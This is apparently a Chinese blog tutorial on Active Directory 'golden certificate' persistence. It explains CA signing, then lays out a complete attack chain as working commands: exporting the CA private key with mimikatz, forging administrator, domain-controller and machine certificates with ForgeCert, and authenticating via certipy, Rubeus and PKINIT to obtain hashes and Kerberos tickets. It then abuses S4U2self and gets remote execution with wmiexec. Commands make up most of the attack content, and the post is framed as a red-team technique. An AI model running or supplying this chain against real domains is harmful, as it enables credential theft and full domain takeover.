域内证书维权

黄金证书

证书链中,除了处于证书链中的 根信任证书 外,其他证书的签名需要使用它上一级证书的私钥,而 根信任证书 使用自己的私钥给自己签名。CA 证书使用其私钥签发其他证书,因为 CA 证书被根信任证书的私钥签了名,因此 CA 证书继承了根信任证书的信任。如果 CA 证书私钥泄露,我们就能使用 CA 证书签发其他证书。

在域环境下,域用户申请 User 模板的证书用于客户端身份验证,这类证书由 CA证书 签发,一般 CA 证书存放在所有域用户机器下的 受信任证书列表 中。那么如果我们获得 CA 证书的私钥,那么可以使用它伪造域用户证书链 ,这样我们获得域内所有用户凭据。 此外,我们称之为这些 CA 证书为 黄金证书

如何判断CA证书?
  • 只有CA证书有 "CA版本" 这一扩展。

  • CA 证书没有 EKU。

  • 证书的颁发者 Issuer 和主题名称 Subject (使用者)都设置为 CA 的专有名称。

注意:CA 证书的私钥受到 CA 服务器 DPAPI 保护。

证书导出

mimikatz
复制代码
# 在 CA 机器上使用 mimikatz 执行如下命令导出机器证书,导出的.pfx 文件即包含 CA 的证书和私钥,该 pfx 文件的导出密码为mimikatz。
​
mimikatz.exe "privilege::debug" "crypto::capi" "crypto::certificates /systemstore:local_machine /store:my /export" exit
certipy
复制代码
# 请求某一客户的证书
certipy ca -u administrator@HACK.com -p p-0p-0p-0 -target 192.168.72.21

证书伪造

利用获得的黄金证书,颁发域用户证书。

ForgeCert
复制代码
伪造 administrator 用户证书,证书的密码为空。
​
# 为用户生成证书
ForgeCert.exe --CaCertPath "local_machine_my_0_HACK-DC01-CA.pfx" --CaCertPassword "mimikatz" --Subject "CN=User" --SubjectAltName "administrator@HACK.com" --NewCertPath administrator.pfx --NewCertPassword ""
​
#为机器生成黄金票据
ForgeCert.exe --CaCertPath "local_machine_my_0_HACK-DC01-CA.pfx" --CaCertPassword "mimikatz" --Subject "CN=Computer" --SubjectAltName "DC01$@HACK.com" --NewCertPath DC01.pfx --NewCertPassword ""
​
#如果 CA 服务器不是域控的话,需要指定 CRL 列表
--CRL "ldap:///CN=xie-CA-CA,CN=CA,CN=CDP,CN=Public Key Services,CN=Services,CN=Configuration,DC=xie,DC=com?certificateRevocationList?base?objectClass =cRLDistributionPoint"

证书攻击

上一步骤已经伪造好了用户证书,可以通过此用户证书进行 PKINIT kerberos 身份验证获取域用户hash。

certipy
复制代码
# 将 pfx 文件转换为 pem 文件
openssl pkcs12 -in administrator.pfx -nodes -out administrator.pem
​
# 将 pem 文件转换为无密码的 pfx 文件
openssl pkcs12 -in administrator.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out administrator.pfx
​
#认证获得 hash
certipy auth -pfx administrator.pfx -dc-ip 10.211.55.4 -debug
Rebeus
复制代码
Rubeus.exe asktgt /user:administrator /certificate:admin.pfx /password: /ptt
                                                              ^^^^^^^
                                                            证书导入时的密码

机器证书利用

域内环境下,机器账号的hash不能直接利用。

mimikatz

导出证书及其私钥

复制代码
mimikatz.exe "crypto::capi" "crypto::certificates /systemstore:local_machine /store:my /export" "exit"
certipy(攻击域控)
复制代码
ForgeCert.exe --CaCertPath "local_machine_my_0_HACK-DC01-CA.pfx" --CaCertPassword "mimikatz" --Subject "CN=Computer" --SubjectAltName "DC01$@HACK.com" --NewCertPath DC01.pfx --NewCertPassword ""
​
# 将 pfx 文件转换为 pem 文件
openssl pkcs12 -in DC01.pfx -nodes -out DC01.pem
​
# 将 pem 文件转换为无密码的 pfx 文件
openssl pkcs12 -in DC01.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out DC01.pfx
​
certipy auth -pfx DC01.pfx -dc-ip 192.168.72.21 -debug
普通机器账号
复制代码
# 颁发 comp1$ 的机器账户证书
ForgeCert.exe --CaCertPath "local_machine_my_0_HACK-DC01-CA.pfx" --CaCertPassword "mimikatz" --Subject "CN=Computer" --SubjectAltName "comp1$@HACK.com" --NewCertPath comp1.pfx --NewCertPassword ""
​
# 将 pfx 文件转换为 pem 文件
openssl pkcs12 -in /tmp/comp1.pfx -nodes -out /tmp/comp1.pem
​
# 将 pem 文件转换为无密码的 pfx 文件
openssl pkcs12 -in /tmp/comp1.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out /tmp/comp1.pfx
​
# 利用机器账户证书生成 .ccache 格式的 tgt。
python3 gettgtpkinit.py -cert-pfx /tmp/comp1.pfx -pfx-pass mimikatz -dc-ip 192.168.72.21 -v HACK.com/comp1\$ comp1.ccache
​
# 利用 comp1$ 机器账户 tgt 为域管理员申请访问 comp1.HACK.com CIFS 协议的票据
python3 gets4uticket.py kerberos+ccache://HACK.com\\comp1\$:comp1.ccache@DC01.HACK.com cifs/comp1.HACK.com@HACK.com administrator@HACK.com administrator.ccache -v
​
# 导入票据
export KRB5CCNAME=administrator.ccache
​
# 以 administrator 访问 comp1.HACK.com
python3 wmiexec.py -k -no-pass HACK.com/administrator@comp1.HACK.com

此过程没有利用到委派攻击,而是利用到了 S4U2self 的宽松性。整个过程仅依赖 S4U2self。

S4U2self 的宽松性:S4U2self 的设计初衷是允许服务在需要知道用户身份时(如审计日志),无需用户主动认证即可获取票据。因此默认情况下,任何服务账户均可使用 S4U2self 为自己服务请求用户票据,无需额外权限。

总结:该攻击成功的原因是 Kerberos 协议中服务账户天然拥有为自身服务生成任意用户票据的能力,而无需委派。这是协议设计特性,而非配置疏漏。

相关推荐
NOVAnet20234 分钟前
SaaS 化 MDR 安全运营平台技术架构解析:态势感知、关联研判与自动化响应实践
安全·架构·自动化
飞斯柯罗11 分钟前
[飞斯柯罗] 想了解什么是网络安全资产和 KMS?
网络·安全·web安全
阿拉斯攀登29 分钟前
内核模块开发:module_init 与模块机制详解
linux·网络·嵌入式硬件·linux驱动
进击切图仔31 分钟前
基于千问的白盒蒸馏操作教学文档
服务器·人工智能·python
运维大师34 分钟前
【安全与故障排查】06-【复盘】生产数据库删库事故:RTO4小时恢复纪实
数据库·安全
AFinalStone1 小时前
Android 7系统网络(二)内核层—netfilter_iptables与路由策略
android·网络
糖果店的幽灵1 小时前
混沌测试从入门到精通1
网络·混沌测试
汤愈韬1 小时前
EVPN协议概述
网络
不像程序员的程序媛10 小时前
系统cpu内存负载资源分析
运维·服务器·数据库
带娃的IT创业者11 小时前
突破算力与安全的边界:深度解析 Mythos AI 的“受信发布”机制与技术影响
人工智能·安全·大语言模型·ai安全·mythos ai·受信发布·ai监管